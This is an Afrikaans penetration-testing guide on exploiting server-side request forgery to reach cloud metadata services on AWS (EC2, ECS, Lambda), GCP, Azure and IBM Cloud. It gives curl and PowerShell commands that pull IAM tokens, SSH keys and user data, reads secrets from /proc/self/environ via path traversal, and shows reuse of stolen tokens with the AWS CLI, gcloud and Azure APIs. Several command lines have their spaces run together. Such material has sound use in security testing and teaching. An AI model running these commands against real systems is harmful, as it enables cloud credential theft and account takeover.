Die metadata eindpunt kan van binne enige EC2-masjien benader word en bied interessante inligting daaroor. Dit is toeganklik in die url: http://169.254.169.254 (inligting oor die metadata hier).
Daar is 2 weergawes van die metadata-eindpunt. Die eerste een maak dit moontlik om die eindpunt via GET-versoeke te benader (sodat enige SSRF dit kan misbruik). Vir die weergawe 2, IMDSv2, moet jy vir 'n token vra deur 'n PUT-versoek met 'n HTTP-kop te stuur en dan daardie token gebruik om die metadata met 'n ander HTTP-kop te benader (dit is meer ingewikkeld om te misbruik met 'n SSRF).
Let daarop dat as die EC2-instansie IMDSv2 afdwing, volgens die dokumente, sal die antwoord van die PUT-versoek 'n hop-limiet van 1 hê, wat dit onmoontlik maak om die EC2-metadata van 'n houer binne die EC2-instansie te benader.
Verder sal IMDSv2 ook versoeke blokkeer om 'n token te haal wat die X-Forwarded-For-kop insluit. Dit is om te voorkom dat verkeerd gekonfigureerde omgekeerde proksi's daartoe in staat is om dit te benader.
Jy kan inligting oor die metadata-eindpunte in die dokumente vind. In die volgende skripsie word 'n paar interessante inligting daaruit verkry:
Jy kan dan daardie legitimasie neem en dit met die AWS CLI gebruik. Dit sal jou in staat stel om enigiets te doen wat daardie rol toestemming het om te doen.
Om voordeel te trek uit die nuwe legitimasie, sal jy 'n nuwe AWS-profiel soos hierdie een moet skep:
Let op die aws_session_token, dit is onmisbaar vir die profiel om te werk.
PACU kan gebruik word met die ontdekte geloofsbriewe om jou voorregte te bepaal en te probeer om voorregte te eskaleer
SSRF in AWS ECS (Container Service) geloofsbriewe
ECS, is 'n logiese groep EC2-instanies waarop jy 'n aansoek kan hardloop sonder om jou eie klasterverbestuurinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in ECS hardloop, te kompromiteer, verander die metadata-eindpunte.
As jy toegang kry tot http://169.254.170.2/v2/credentials/<GUID> sal jy die geloofsbriewe van die ECS-masjien vind. Maar eerste moet jy die <GUID> vind. Om die <GUID> te vind, moet jy die environ-veranderlike AWS_CONTAINER_CREDENTIALS_RELATIVE_URI binne die masjien lees.
Jy kan dit moontlik lees deur 'n Path Traversal te benut na file:///proc/self/environ
Die genoemde http-adres behoort jou die AccessKey, SecretKey en token te gee.
Let wel dat in sekere gevalle jy die toegang tot die EC2 metadata instansie vanaf die houer kan kry (kontroleer IMDSv2 TTL-beperkings wat voorheen genoem is). In hierdie scenario's kan jy vanaf die houer beide die houer IAM rol en die EC2 IAM rol benader.
SSRF vir AWS Lambda
In hierdie geval word die geloofsbriewe in omgewingsveranderlikes gestoor. Om toegang tot hulle te verkry, moet jy iets soos file:///proc/self/environ benader.
Die naam van die interessante omgewingsveranderlikes is:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Daarbenewens het Lambda funksies, bo en behalwe IAM-geloofsbriewe, ook gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin. Hierdie data is beskikbaar vir die funksie via die runtime interface en kan sensitiewe inligting bevat (soos binne die stageVariables). Anders as IAM-geloofsbriewe is hierdie data toeganklik oor standaard SSRF by http://localhost:9001/2018-06-01/runtime/invocation/next.
Let daarop dat lambda-geloofsbriewe binne die omgewingsveranderlikes is. As die stapelopsporing van die lambda-kode omgewingsveranderlikes druk, is dit moontlik om hulle te uit te lek deur 'n fout in die program te veroorsaak.
Om die uitgefilterde diensrekening token te gebruik kan jy net doen:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App-diens
Vanuit die env kan jy die waardes van IDENTITY_HEADERenIDENTITY_ENDPOINT kry. Dit kan jy gebruik om 'n token te bekom om met die metadataserver te kommunikeer.
Meestal wil jy 'n token hê vir een van hierdie bronne:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Let wel dat in IBM standaard metadata nie geaktiveer is nie, so dit is moontlik dat jy nie daartoe toegang sal hê selfs al is jy binne 'n IBM-cloud-VM nie.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie- en tydinligting vir instansies toeganklik is. Elke platform bied unieke eindpunte om toegang te verkry tot sy metadata dienste.